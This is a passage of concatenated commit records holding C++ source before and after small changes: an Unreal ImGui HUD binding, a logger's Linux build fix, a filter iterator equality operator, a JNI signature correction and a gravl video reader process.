system\n\tFontTexture = UTexture2D::CreateTransient(width, height, PF_R8G8B8A8);\n\tFTexture2DMipMap &mip = FontTexture->PlatformData->Mips[0];\n\tvoid *data = mip.BulkData.Lock(LOCK_READ_WRITE);\n\tFMemory::Memcpy(data, pixels, width * height * 4);\n\tmip.BulkData.Unlock();\n\tFontTexture->UpdateResource();\n\n\t\/\/ Store our identifier\n\tio.Fonts->TexID = (void *)FontTexture;\n\n\treturn true;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_InvalidateDeviceObjects()\n{\n\tFontTexture = NULL;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_ProcessEvent()\n{\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_NewFrame()\n{\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_RenderDrawLists(ImDrawData *draw_data)\n{\n}\n\nconst char *AMyImGuiHUD::ImGui_ImplUE_GetClipboardText()\n{\n\treturn NULL;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_SetClipboardText(const char *text)\n{\n}\n<commit_msg>Filled ImGui frame preparation function<commit_after>\/\/ Copyright 2017 Sebastien Ronsse\n\n#include \"ImGuiHUD.h\"\n#include \"MyImGuiHUD.h\"\n\nconst struct FKey *KeyMap[] =\n{\n\t&EKeys::Tab,\n\t&EKeys::Left,\n\t&EKeys::Right,\n\t&EKeys::Up,\n\t&EKeys::Down,\n\t&EKeys::PageUp,\n\t&EKeys::PageDown,\n\t&EKeys::Home,\n\t&EKeys::End,\n\t&EKeys::Delete,\n\t&EKeys::BackSpace,\n\t&EKeys::Enter,\n\t&EKeys::Escape,\n\t&EKeys::A,\n\t&EKeys::C,\n\t&EKeys::V,\n\t&EKeys::X,\n\t&EKeys::Y,\n\t&EKeys::Z,\n};\n\nAMyImGuiHUD::AMyImGuiHUD() :\n\tSuper(),\n\tFontTexture(NULL)\n{\n}\n\nvoid AMyImGuiHUD::PostInitializeComponents()\n{\n\tSuper::PostInitializeComponents();\n\n\t\/\/ Setup ImGui binding\n\tImGui_ImplUE_Init();\n}\n\nvoid AMyImGuiHUD::BeginDestroy()\n{\n\tSuper::BeginDestroy();\n\n\t\/\/ Cleanup\n\tImGui_ImplUE_Shutdown();\n}\n\nvoid AMyImGuiHUD::DrawHUD()\n{\n\t\/\/ Process events\n\tImGui_ImplUE_ProcessEvent();\n\n\t\/\/ Prepare new frame\n\tImGui_ImplUE_NewFrame();\n\n\t\/\/ Rendering\n\tImGui::Render();\n}\n\nbool AMyImGuiHUD::ImGui_ImplUE_Init()\n{\n\tImGuiIO &io = ImGui::GetIO();\n\n\t\/\/ Keyboard mapping\n\tfor (int i = 0; i < ImGuiKey_COUNT; i++)\n\t\tio.KeyMap[i] = i;\n\n\t\/\/ Fill callbacks\n\tio.RenderDrawListsFn = ImGui_ImplUE_RenderDrawLists;\n\tio.SetClipboardTextFn = ImGui_ImplUE_SetClipboardText;\n\tio.GetClipboardTextFn = ImGui_ImplUE_GetClipboardText;\n\tio.UserData = this;\n\n\treturn true;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_Shutdown()\n{\n\tImGui_ImplUE_InvalidateDeviceObjects();\n\tImGui::Shutdown();\n}\n\nbool AMyImGuiHUD::ImGui_ImplUE_CreateDeviceObjects()\n{\n\t\/\/ Build texture atlas\n\tImGuiIO &io = ImGui::GetIO();\n\tunsigned char *pixels;\n\tint width, height;\n\tio.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height);\n\n\t\/\/ Upload texture to graphics system\n\tFontTexture = UTexture2D::CreateTransient(width, height, PF_R8G8B8A8);\n\tFTexture2DMipMap &mip = FontTexture->PlatformData->Mips[0];\n\tvoid *data = mip.BulkData.Lock(LOCK_READ_WRITE);\n\tFMemory::Memcpy(data, pixels, width * height * 4);\n\tmip.BulkData.Unlock();\n\tFontTexture->UpdateResource();\n\n\t\/\/ Store our identifier\n\tio.Fonts->TexID = (void *)FontTexture;\n\n\treturn true;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_InvalidateDeviceObjects()\n{\n\tFontTexture = NULL;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_ProcessEvent()\n{\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_NewFrame()\n{\n\tif (!FontTexture)\n\t\tImGui_ImplUE_CreateDeviceObjects();\n\n\tImGuiIO &io = ImGui::GetIO();\n\n\t\/\/ Setup display size\n\tio.DisplaySize = ImVec2((float)Canvas->SizeX, (float)Canvas->SizeY);\n\tio.DisplayFramebufferScale = ImVec2(1, 1);\n\n\t\/\/ Setup inputs\n\tAPlayerController *pc = GetOwningPlayerController();\n\tpc->GetMousePosition(io.MousePos.x, io.MousePos.y);\n\tio.MouseDown[0] = pc->IsInputKeyDown(EKeys::LeftMouseButton);\n\tio.MouseDown[1] = pc->IsInputKeyDown(EKeys::RightMouseButton);\n\tio.MouseDown[2] = pc->IsInputKeyDown(EKeys::MiddleMouseButton);\n\n\tImGui::NewFrame();\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_RenderDrawLists(ImDrawData *draw_data)\n{\n}\n\nconst char *AMyImGuiHUD::ImGui_ImplUE_GetClipboardText()\n{\n\treturn NULL;\n}\n\nvoid AMyImGuiHUD::ImGui_ImplUE_SetClipboardText(const char *text)\n{\n}\n<|endoftext|>"} {"text":"<commit_before>#include <ODLib\/ODLib.hpp>\n#include <ODLib\/Logger\/Logger.hpp>\n\nODLib::Logger::Logger::Logger(ODLib::Logger::Settings Settings)\n : m_settings(Settings)\n , m_nextRotation(GetNextRotation())\n{\n CreateFileIfNeeded();\n}\n\nODLib::Logger::Logger::~Logger()\n{\n m_file.close();\n}\n\nvoid ODLib::Logger::Logger::WriteLine(const ODLib::Logger::Record::Record& Record)\n{\n if (m_settings.DailyRotation == true && std::chrono::system_clock::now() >= m_nextRotation)\n {\n CreateFileIfNeeded();\n m_nextRotation = GetNextRotation();\n }\n\n auto Result = L\"[\" + ODLib::Logger::Record::Level::ToString(Record.GetLevel()) + L\"] \" + Record.GetText();\n\n std::wcout << Result << std::flush;\n\n m_file << L\"[\" << Record.GetTime() << L\"] \" << Result;\n m_file.flush();\n}\n\nvoid ODLib::Logger::Logger::CreateFileIfNeeded()\n{\n if (m_file.is_open() == true)\n {\n m_file.close();\n m_file.clear();\n }\n\n \/\/ Format the time for the file.\n std::wostringstream Result;\n\n auto Time = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());\n Result << std::put_time(std::localtime(&Time), m_settings.FileName.c_str());\n\n auto FileName = Result.str();\n\n \/\/ Create the directory if needed.\n std::experimental::filesystem::path Path(FileName);\n\n auto FileDirectory = Path.parent_path();\n\n if (FileDirectory.empty() == false && std::experimental::filesystem::exists(FileDirectory) == false)\n {\n std::experimental::filesystem::create_directories(FileDirectory);\n }\n\n m_file.open(FileName, m_settings.FileMode);\n\n \/\/ Move the input position indicator to the end of the file.\n m_file.seekg(0, std::ios::end);\n\n \/\/ Is the file content empty?\n if (m_file.tellg() > 0)\n {\n \/\/ Append a line to separate a the old content from the new content.\n m_file << std::endl;\n m_file << L\"-----------------------------------------------------\" << std::endl;\n }\n}\n\nstd::chrono::system_clock::time_point ODLib::Logger::Logger::GetNextRotation()\n{\n auto Now = std::chrono::system_clock::now();\n auto Time = std::chrono::system_clock::to_time_t(Now);\n auto Date = std::localtime(&Time);\n\n \/\/ Set midnight time.\n Date->tm_hour = 0;\n Date->tm_min = 0;\n Date->tm_sec = 0;\n\n \/\/ Calculate next rotation.\n auto NextRotation = std::chrono::system_clock::from_time_t(std::mktime(Date));\n \n if (NextRotation > Now)\n {\n return NextRotation;\n }\n else\n {\n return NextRotation + 24h;\n }\n}\n<commit_msg>Fix Linux build<commit_after>#include <ODLib\/ODLib.hpp>\n#include <ODLib\/Logger\/Logger.hpp>\n\nODLib::Logger::Logger::Logger(ODLib::Logger::Settings Settings)\n : m_settings(Settings)\n , m_nextRotation(GetNextRotation())\n{\n CreateFileIfNeeded();\n}\n\nODLib::Logger::Logger::~Logger()\n{\n m_file.close();\n}\n\nvoid ODLib::Logger::Logger::WriteLine(const ODLib::Logger::Record::Record& Record)\n{\n if (m_settings.DailyRotation == true && std::chrono::system_clock::now() >= m_nextRotation)\n {\n CreateFileIfNeeded();\n m_nextRotation = GetNextRotation();\n }\n\n auto Result = L\"[\" + ODLib::Logger::Record::Level::ToString(Record.GetLevel()) + L\"] \" + Record.GetText();\n\n std::wcout << Result << std::flush;\n\n m_file << L\"[\" << Record.GetTime() << L\"] \" << Result;\n m_file.flush();\n}\n\nvoid ODLib::Logger::Logger::CreateFileIfNeeded()\n{\n if (m_file.is_open() == true)\n {\n m_file.close();\n m_file.clear();\n }\n\n \/\/ Format the time for the file.\n std::wostringstream Result;\n\n auto Time = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());\n Result << std::put_time(std::localtime(&Time), m_settings.FileName.c_str());\n\n auto FileName = Result.str();\n\n \/\/ Create the directory if needed.\n std::experimental::filesystem::path Path(FileName);\n\n auto FileDirectory = Path.parent_path();\n\n if (FileDirectory.empty() == false && std::experimental::filesystem::exists(FileDirectory) == false)\n {\n std::experimental::filesystem::create_directories(FileDirectory);\n }\n\n m_file.open(std::wstring_convert<std::codecvt_utf8<wchar_t>>().to_bytes(FileName).c_str(), m_settings.FileMode);\n\n \/\/ Move the input position indicator to the end of the file.\n m_file.seekg(0, std::ios::end);\n\n \/\/ Is the file content empty?\n if (m_file.tellg() > 0)\n {\n \/\/ Append a line to separate a the old content from the new content.\n m_file << std::endl;\n m_file << L\"-----------------------------------------------------\" << std::endl;\n }\n}\n\nstd::chrono::system_clock::time_point ODLib::Logger::Logger::GetNextRotation()\n{\n auto Now = std::chrono::system_clock::now();\n auto Time = std::chrono::system_clock::to_time_t(Now);\n auto Date = std::localtime(&Time);\n\n \/\/ Set midnight time.\n Date->tm_hour = 0;\n Date->tm_min = 0;\n Date->tm_sec = 0;\n\n \/\/ Calculate next rotation.\n auto NextRotation = std::chrono::system_clock::from_time_t(std::mktime(Date));\n \n if (NextRotation > Now)\n {\n return NextRotation;\n }\n else\n {\n return NextRotation + 24h;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef ITER_FILTER_H_\n#define ITER_FILTER_H_\n\n#include \"iterbase.hpp\"\n\n#include <utility>\n#include <iterator>\n#include <initializer_list>\n\nnamespace iter {\n\n \/\/Forward declarations of Filter and filter\n template <typename FilterFunc, typename Container>\n class Filter;\n\n template <typename FilterFunc, typename Container>\n Filter<FilterFunc, Container> filter(FilterFunc, Container&&);\n\n template <typename FilterFunc, typename T>\n Filter<FilterFunc, std::initializer_list<T>> filter(\n FilterFunc, std::initializer_list<T>);\n\n template <typename FilterFunc, typename Container>\n class Filter {\n private:\n Container container;\n FilterFunc filter_func;\n\n \/\/ The filter function is the only thing allowed to create a Filter\n friend Filter filter<FilterFunc, Container>(\n FilterFunc, Container&&);\n\n template <typename FF, typename T>\n friend Filter<FF, std::initializer_list<T>> filter(\n FF, std::initializer_list<T>);\n \n \/\/ Value constructor for use only in the filter function\n Filter(FilterFunc filter_func, Container container)\n : container(std::forward<Container>(container)),\n filter_func(filter_func)\n { }\n Filter() = delete;\n Filter& operator=(const Filter&) = delete;\n\n public:\n Filter(const Filter&) = default;\n\n class Iterator \n : public std::iterator<std::input_iterator_tag,\n iterator_traits_deref<Container>>\n {\n protected:\n iterator_type<Container> sub_iter;\n const iterator_type<Container> sub_end;\n FilterFunc filter_func;\n\n \/\/ increment until the iterator points to is true on the \n \/\/ predicate. Called by constructor and operator++\n void skip_failures() { \n while (this->sub_iter != this->sub_end\n && !this->filter_func(*this->sub_iter)) {\n ++this->sub_iter;\n }\n }\n\n public:\n Iterator (iterator_type<Container> iter,\n iterator_type<Container> end,\n FilterFunc filter_func)\n : sub_iter{iter},\n sub_end{end},\n filter_func(filter_func)\n { \n this->skip_failures();\n } \n\n iterator_deref<Container> operator*() {\n return *this->sub_iter;\n }\n\n Iterator& operator++() { \n ++this->sub_iter;\n this->skip_failures();\n return *this;\n }\n\n Iterator operator++(int) {\n auto ret = *this;\n ++*this;\n return ret;\n }\n\n bool operator!=(const Iterator& other) const {\n return this->sub_iter != other.sub_iter;\n }\n };\n\n Iterator begin() {\n return {std::begin(this->container),\n std::end(this->container),\n this->filter_func};\n }\n\n Iterator end() {\n return {std::end(this->container),\n std::end(this->container),\n this->filter_func};\n }\n\n };\n\n \/\/ Helper function to instantiate a Filter\n template <typename FilterFunc, typename Container>\n Filter<FilterFunc, Container> filter(\n FilterFunc filter_func, Container&& container) {\n return {filter_func, std::forward<Container>(container)};\n }\n\n template <typename FilterFunc, typename T>\n Filter<FilterFunc, std::initializer_list<T>> filter(\n FilterFunc filter_func,\n std::initializer_list<T> il)\n {\n return {filter_func, std::move(il)};\n }\n\n namespace detail {\n\n template <typename T>\n bool boolean_cast(const T& t) {\n return bool(t);\n }\n\n template <typename Container>\n class BoolTester {\n public:\n bool operator() (const iterator_deref<Container> item) const {\n return bool(item);\n }\n };\n }\n\n\n template <typename Container>\n auto filter(Container&& container) ->\n decltype(filter(\n detail::BoolTester<Container>(),\n std::forward<Container>(container))) {\n return filter(\n detail::BoolTester<Container>(),\n std::forward<Container>(container));\n }\n\n template <typename T>\n auto filter(std::initializer_list<T> il) ->\n decltype(filter(\n detail::BoolTester<std::initializer_list<T>>(),\n std::move(il))) {\n return filter(\n detail::BoolTester<std::initializer_list<T>>(),\n std::move(il));\n }\n\n}\n\n#endif \/\/ #ifndef ITER_FILTER_H_\n<commit_msg>adds filter iter ==<commit_after>#ifndef ITER_FILTER_H_\n#define ITER_FILTER_H_\n\n#include \"iterbase.hpp\"\n\n#include <utility>\n#include <iterator>\n#include <initializer_list>\n\nnamespace iter {\n\n \/\/Forward declarations of Filter and filter\n template <typename FilterFunc, typename Container>\n class Filter;\n\n template <typename FilterFunc, typename Container>\n Filter<FilterFunc, Container> filter(FilterFunc, Container&&);\n\n template <typename FilterFunc, typename T>\n Filter<FilterFunc, std::initializer_list<T>> filter(\n FilterFunc, std::initializer_list<T>);\n\n template <typename FilterFunc, typename Container>\n class Filter {\n private:\n Container container;\n FilterFunc filter_func;\n\n \/\/ The filter function is the only thing allowed to create a Filter\n friend Filter filter<FilterFunc, Container>(\n FilterFunc, Container&&);\n\n template <typename FF, typename T>\n friend Filter<FF, std::initializer_list<T>> filter(\n FF, std::initializer_list<T>);\n \n \/\/ Value constructor for use only in the filter function\n Filter(FilterFunc filter_func, Container container)\n : container(std::forward<Container>(container)),\n filter_func(filter_func)\n { }\n Filter() = delete;\n Filter& operator=(const Filter&) = delete;\n\n public:\n Filter(const Filter&) = default;\n\n class Iterator \n : public std::iterator<std::input_iterator_tag,\n iterator_traits_deref<Container>>\n {\n protected:\n iterator_type<Container> sub_iter;\n const iterator_type<Container> sub_end;\n FilterFunc filter_func;\n\n \/\/ increment until the iterator points to is true on the \n \/\/ predicate. Called by constructor and operator++\n void skip_failures() { \n while (this->sub_iter != this->sub_end\n && !this->filter_func(*this->sub_iter)) {\n ++this->sub_iter;\n }\n }\n\n public:\n Iterator (iterator_type<Container> iter,\n iterator_type<Container> end,\n FilterFunc filter_func)\n : sub_iter{iter},\n sub_end{end},\n filter_func(filter_func)\n { \n this->skip_failures();\n } \n\n iterator_deref<Container> operator*() {\n return *this->sub_iter;\n }\n\n Iterator& operator++() { \n ++this->sub_iter;\n this->skip_failures();\n return *this;\n }\n\n Iterator operator++(int) {\n auto ret = *this;\n ++*this;\n return ret;\n }\n\n bool operator!=(const Iterator& other) const {\n return this->sub_iter != other.sub_iter;\n }\n\n bool operator==(const Iterator& other) const {\n return !(*this != other);\n }\n };\n\n Iterator begin() {\n return {std::begin(this->container),\n std::end(this->container),\n this->filter_func};\n }\n\n Iterator end() {\n return {std::end(this->container),\n std::end(this->container),\n this->filter_func};\n }\n\n };\n\n \/\/ Helper function to instantiate a Filter\n template <typename FilterFunc, typename Container>\n Filter<FilterFunc, Container> filter(\n FilterFunc filter_func, Container&& container) {\n return {filter_func, std::forward<Container>(container)};\n }\n\n template <typename FilterFunc, typename T>\n Filter<FilterFunc, std::initializer_list<T>> filter(\n FilterFunc filter_func,\n std::initializer_list<T> il)\n {\n return {filter_func, std::move(il)};\n }\n\n namespace detail {\n\n template <typename T>\n bool boolean_cast(const T& t) {\n return bool(t);\n }\n\n template <typename Container>\n class BoolTester {\n public:\n bool operator() (const iterator_deref<Container> item) const {\n return bool(item);\n }\n };\n }\n\n\n template <typename Container>\n auto filter(Container&& container) ->\n decltype(filter(\n detail::BoolTester<Container>(),\n std::forward<Container>(container))) {\n return filter(\n detail::BoolTester<Container>(),\n std::forward<Container>(container));\n }\n\n template <typename T>\n auto filter(std::initializer_list<T> il) ->\n decltype(filter(\n detail::BoolTester<std::initializer_list<T>>(),\n std::move(il))) {\n return filter(\n detail::BoolTester<std::initializer_list<T>>(),\n std::move(il));\n }\n\n}\n\n#endif \/\/ #ifndef ITER_FILTER_H_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ __ParseBridge-Android.cpp\n\/\/ roll-eat\n\/\/\n\/\/ Created by Zinge on 5\/16\/16.\n\/\/\n\/\/\n\n#include \"ee\/internal\/MessageBridge.hpp\"\n#include \"ee\/JniUtils.hpp\"\n#include \"ee\/internal\/JniMethodInfo.hpp\"\n#include \"ee\/internal\/JniString.hpp\"\n#include \"ee\/Logger.hpp\"\n\nnamespace ee {\nstd::string MessageBridge::call(const std::string& tag,\n const std::string& msg) {\n auto methodInfo = JniUtils::getStaticMethodInfo(\n \"com\/ee\/core\/internal\/MessageBridge\", \"staticCall\",\n \"(Ljava\/lang\/String;Ljava\/lang\/String;\");\n\n if (methodInfo == nullptr) {\n throw std::runtime_error(\"Method not found!\");\n }\n\n auto tag_java = JniUtils::toJavaString(tag.c_str());\n auto msg_java = JniUtils::toJavaString(msg.c_str());\n\n jobject response = methodInfo->getEnv()->CallStaticObjectMethod(\n methodInfo->getClass(), methodInfo->getMethodId(), tag_java->get(),\n msg_java->get());\n\n jstring response_java = static_cast<jstring>(response);\n auto result = JniUtils::toString(response_java);\n\n methodInfo->getEnv()->DeleteLocalRef(response);\n\n return result;\n}\n} \/\/ namespace ee\n<commit_msg>Fix incorrect JNI call.<commit_after>\/\/\n\/\/ __ParseBridge-Android.cpp\n\/\/ roll-eat\n\/\/\n\/\/ Created by Zinge on 5\/16\/16.\n\/\/\n\/\/\n\n#include \"ee\/internal\/MessageBridge.hpp\"\n#include \"ee\/JniUtils.hpp\"\n#include \"ee\/internal\/JniMethodInfo.hpp\"\n#include \"ee\/internal\/JniString.hpp\"\n#include \"ee\/Logger.hpp\"\n\nnamespace ee {\nstd::string MessageBridge::call(const std::string& tag,\n const std::string& msg) {\n auto methodInfo = JniUtils::getStaticMethodInfo(\n \"com\/ee\/internal\/MessageBridge\", \"staticCall\",\n \"(Ljava\/lang\/String;Ljava\/lang\/String;)Ljava\/lang\/String;\");\n\n if (methodInfo == nullptr) {\n throw std::runtime_error(\"Method not found!\");\n }\n\n auto tag_java = JniUtils::toJavaString(tag.c_str());\n auto msg_java = JniUtils::toJavaString(msg.c_str());\n\n jobject response = methodInfo->getEnv()->CallStaticObjectMethod(\n methodInfo->getClass(), methodInfo->getMethodId(), tag_java->get(),\n msg_java->get());\n\n jstring response_java = static_cast<jstring>(response);\n auto result = JniUtils::toString(response_java);\n\n methodInfo->getEnv()->DeleteLocalRef(response);\n\n return result;\n}\n} \/\/ namespace ee\n<|endoftext|>"} {"text":"<commit_before>\/*ckwg +5\n * Copyright 2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"read_video_gravl_process.h\"\n\n#include <processes\/helpers\/image\/format.h>\n#include <processes\/helpers\/image\/read.h>\n\n#include <vistk\/pipeline\/config.h>\n#include <vistk\/pipeline\/datum.h>\n#include <vistk\/pipeline\/process_exception.h>\n\n#include <gravl\/core\/api\/data_block.h>\n#include <gravl\/core\/api\/frame_ptr.h>\n#include <gravl\/core\/api\/image.h>\n#include <gravl\/core\/api\/image_data.h>\n#include <gravl\/core\/api\/resource_ptr.h>\n\n#include <gravl\/raf\/raf.h>\n\n#include <vil\/vil_image_view.h>\n\n#include <string>\n\n\/**\n * \\file read_video_gravl_process.cxx\n *\n * \\brief Implementation of the read video gravl process.\n *\/\n\nstatic size_t sabs(ptrdiff_t a);\nstatic size_t compute_block_size(gravl::image::dimension dim,\n gravl::image::stride s);\nstatic ptrdiff_t compute_offset(gravl::image::dimension dim,\n gravl::image::stride s);\ntemplate <typename T> static T* compute_block_start(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s);\ntemplate <typename T> static T* compute_top_left(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s);\n\nnamespace vistk\n{\n\nclass read_video_gravl_process::priv\n{\n public:\n priv(std::string const& input_uri);\n ~priv();\n\n std::string const uri;\n\n gravl::resource_ptr resource;\n gravl::data_block* video;\n\n static config::key_t const config_pixtype;\n static config::key_t const config_pixfmt;\n static config::key_t const config_uri;\n static config::key_t const config_verify;\n static config::value_t const default_pixtype;\n static config::value_t const default_pixfmt;\n static config::value_t const default_verify;\n static port_t const port_output;\n};\n\nconfig::key_t const read_video_gravl_process::priv::config_pixtype = config::key_t(\"pixtype\");\nconfig::key_t const read_video_gravl_process::priv::config_pixfmt = config::key_t(\"pixfmt\");\nconfig::key_t const read_video_gravl_process::priv::config_uri = config::key_t(\"input\");\nconfig::value_t const read_video_gravl_process::priv::default_pixtype = config::value_t(pixtypes::pixtype_byte());\nconfig::value_t const read_video_gravl_process::priv::default_pixfmt = config::value_t(pixfmts::pixfmt_rgb());\nprocess::port_t const read_video_gravl_process::priv::port_output = port_t(\"image\");\n\nread_video_gravl_process\n::read_video_gravl_process(config_t const& config)\n : process(config)\n{\n declare_configuration_key(\n priv::config_pixtype,\n priv::default_pixtype,\n config::description_t(\"The pixel type of the input images.\"));\n declare_configuration_key(\n priv::config_pixfmt,\n priv::default_pixfmt,\n config::description_t(\"The pixel format of the input images.\"));\n declare_configuration_key(\n priv::config_uri,\n config::value_t(),\n config::description_t(\"The URI of the resource.\"));\n\n pixtype_t const pixtype = config_value<pixtype_t>(priv::config_pixtype);\n pixfmt_t const pixfmt = config_value<pixfmt_t>(priv::config_pixfmt);\n\n port_type_t const port_type_output = port_type_for_pixtype(pixtype, pixfmt);\n\n port_flags_t required;\n\n required.insert(flag_required);\n\n declare_output_port(\n priv::port_output,\n port_type_output,\n required,\n port_description_t(\"The images that are read in.\"));\n}\n\nread_video_gravl_process\n::~read_video_gravl_process()\n{\n}\n\nvoid\nread_video_gravl_process\n::_configure()\n{\n \/\/ Configure the process.\n {\n pixtype_t const pixtype = config_value<pixtype_t>(priv::config_pixtype);\n std::string const uri = config_value<std::string>(priv::config_uri);\n\n d.reset(new priv(uri));\n }\n\n if (d->uri.empty())\n {\n static std::string const reason = \"The URI given was empty\";\n config::value_t const value = config::value_t(d->uri);\n\n throw invalid_configuration_value_exception(name(), priv::config_uri, value, reason);\n }\n\n d->resource = gravl::raf::get_resource(d->uri.c_str());\n if (!d->resource)\n {\n std::string const reason = \"Failed to open the resource: \" + d->uri;\n\n throw invalid_configuration_exception(name(), reason);\n }\n\n d->video = d->resource.get_data<gravl::data_block>();\n if (!d->video)\n {\n static std::string const reason = \"Failed to obtain data_block from resource\";\n\n throw invalid_configuration_exception(name(), reason);\n }\n\n process::_configure();\n}\n\nvoid\nread_video_gravl_process\n::_init()\n{\n d->video->rewind();\n\n process::_init();\n}\n\nvoid\nread_video_gravl_process\n::_step()\n{\n datum_t dat;\n\n if (d->video->at_end())\n {\n mark_process_as_complete();\n dat = datum::complete_datum();\n }\n else if (!d->video)\n {\n static datum::error_t const err_string = datum::error_t(\"Error with input file stream.\");\n\n dat = datum::error_datum(err_string);\n }\n else\n {\n gravl::frame_ptr const frame = d->video->current_frame();\n gravl::image_data const* const image_data = frame.get_const_data<gravl::image_data>();\n gravl::image const image = (image_data ? image_data->pixels() : gravl::image());\n\n if (!image || image.format() != gravl::image::format_of<uint8_t>())\n {\n dat = datum::empty_datum();\n }\n else\n {\n gravl::image::dimension const dim = image.dimensions();\n gravl::image::stride const ps = image.strides();\n uint8_t const* const top_left = image.data<uint8_t>();\n size_t const size = compute_block_size(dim, ps);\n\n \/\/ Ugh, there is no way to create a vil_image_view from existing data\n \/\/ without arranging for said existing data to stick around, so stuck\n \/\/ having to copy the data (again) :-(\n vil_memory_chunk* const mem = new vil_memory_chunk(size, VIL_PIXEL_FORMAT_BYTE);\n uint8_t* const buffer = reinterpret_cast<uint8_t*>(mem->data());\n memcpy(buffer, compute_block_start(top_left, dim, ps), size);\n\n vil_image_view<vxl_byte> const vil(vil_memory_chunk_sptr(mem),\n compute_top_left(buffer, dim, ps),\n dim.width, dim.height, dim.planes,\n ps.width, ps.height, ps.planes);\n dat = datum::new_datum(vil);\n }\n\n d->video->advance();\n }\n\n push_datum_to_port(priv::port_output, dat);\n\n process::_step();\n}\n\nread_video_gravl_process::priv\n::priv(std::string const& input_uri)\n : uri(input_uri)\n{\n}\n\nread_video_gravl_process::priv\n::~priv()\n{\n}\n\n}\n\nsize_t\nsabs(ptrdiff_t a)\n{\n return static_cast<size_t>((a < 0 ? -a : a));\n}\n\nsize_t\ncompute_block_size(gravl::image::dimension dim, gravl::image::stride s)\n{\n return ((dim.width - 1) * sabs(s.width)) +\n ((dim.height - 1) * sabs(s.height)) +\n ((dim.planes - 1) * sabs(s.planes)) + 1;\n}\n\nptrdiff_t\ncompute_offset(gravl::image::dimension dim, gravl::image::stride s)\n{\n ptrdiff_t result = 0;\n if (s.width < 0)\n {\n result -= s.width * (dim.width - 1);\n }\n if (s.height < 0)\n {\n result -= s.height * (dim.height - 1);\n }\n if (s.planes < 0)\n {\n result -= s.planes * (dim.planes - 1);\n }\n return result;\n}\n\ntemplate <typename T>\nT*\ncompute_block_start(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s)\n{\n return top_left - compute_offset(dim, s);\n}\n\ntemplate <typename T>\nT*\ncompute_top_left(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s)\n{\n return top_left + compute_offset(dim, s);\n}\n<commit_msg>Remove unneeded forward declarations<commit_after>\/*ckwg +5\n * Copyright 2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"read_video_gravl_process.h\"\n\n#include <processes\/helpers\/image\/format.h>\n#include <processes\/helpers\/image\/read.h>\n\n#include <vistk\/pipeline\/config.h>\n#include <vistk\/pipeline\/datum.h>\n#include <vistk\/pipeline\/process_exception.h>\n\n#include <gravl\/core\/api\/data_block.h>\n#include <gravl\/core\/api\/frame_ptr.h>\n#include <gravl\/core\/api\/image.h>\n#include <gravl\/core\/api\/image_data.h>\n#include <gravl\/core\/api\/resource_ptr.h>\n\n#include <gravl\/raf\/raf.h>\n\n#include <vil\/vil_image_view.h>\n\n#include <string>\n\n\/**\n * \\file read_video_gravl_process.cxx\n *\n * \\brief Implementation of the read video gravl process.\n *\/\n\nstatic size_t compute_block_size(gravl::image::dimension dim,\n gravl::image::stride s);\ntemplate <typename T> static T* compute_block_start(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s);\ntemplate <typename T> static T* compute_top_left(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s);\n\nnamespace vistk\n{\n\nclass read_video_gravl_process::priv\n{\n public:\n priv(std::string const& input_uri);\n ~priv();\n\n std::string const uri;\n\n gravl::resource_ptr resource;\n gravl::data_block* video;\n\n static config::key_t const config_pixtype;\n static config::key_t const config_pixfmt;\n static config::key_t const config_uri;\n static config::key_t const config_verify;\n static config::value_t const default_pixtype;\n static config::value_t const default_pixfmt;\n static config::value_t const default_verify;\n static port_t const port_output;\n};\n\nconfig::key_t const read_video_gravl_process::priv::config_pixtype = config::key_t(\"pixtype\");\nconfig::key_t const read_video_gravl_process::priv::config_pixfmt = config::key_t(\"pixfmt\");\nconfig::key_t const read_video_gravl_process::priv::config_uri = config::key_t(\"input\");\nconfig::value_t const read_video_gravl_process::priv::default_pixtype = config::value_t(pixtypes::pixtype_byte());\nconfig::value_t const read_video_gravl_process::priv::default_pixfmt = config::value_t(pixfmts::pixfmt_rgb());\nprocess::port_t const read_video_gravl_process::priv::port_output = port_t(\"image\");\n\nread_video_gravl_process\n::read_video_gravl_process(config_t const& config)\n : process(config)\n{\n declare_configuration_key(\n priv::config_pixtype,\n priv::default_pixtype,\n config::description_t(\"The pixel type of the input images.\"));\n declare_configuration_key(\n priv::config_pixfmt,\n priv::default_pixfmt,\n config::description_t(\"The pixel format of the input images.\"));\n declare_configuration_key(\n priv::config_uri,\n config::value_t(),\n config::description_t(\"The URI of the resource.\"));\n\n pixtype_t const pixtype = config_value<pixtype_t>(priv::config_pixtype);\n pixfmt_t const pixfmt = config_value<pixfmt_t>(priv::config_pixfmt);\n\n port_type_t const port_type_output = port_type_for_pixtype(pixtype, pixfmt);\n\n port_flags_t required;\n\n required.insert(flag_required);\n\n declare_output_port(\n priv::port_output,\n port_type_output,\n required,\n port_description_t(\"The images that are read in.\"));\n}\n\nread_video_gravl_process\n::~read_video_gravl_process()\n{\n}\n\nvoid\nread_video_gravl_process\n::_configure()\n{\n \/\/ Configure the process.\n {\n pixtype_t const pixtype = config_value<pixtype_t>(priv::config_pixtype);\n std::string const uri = config_value<std::string>(priv::config_uri);\n\n d.reset(new 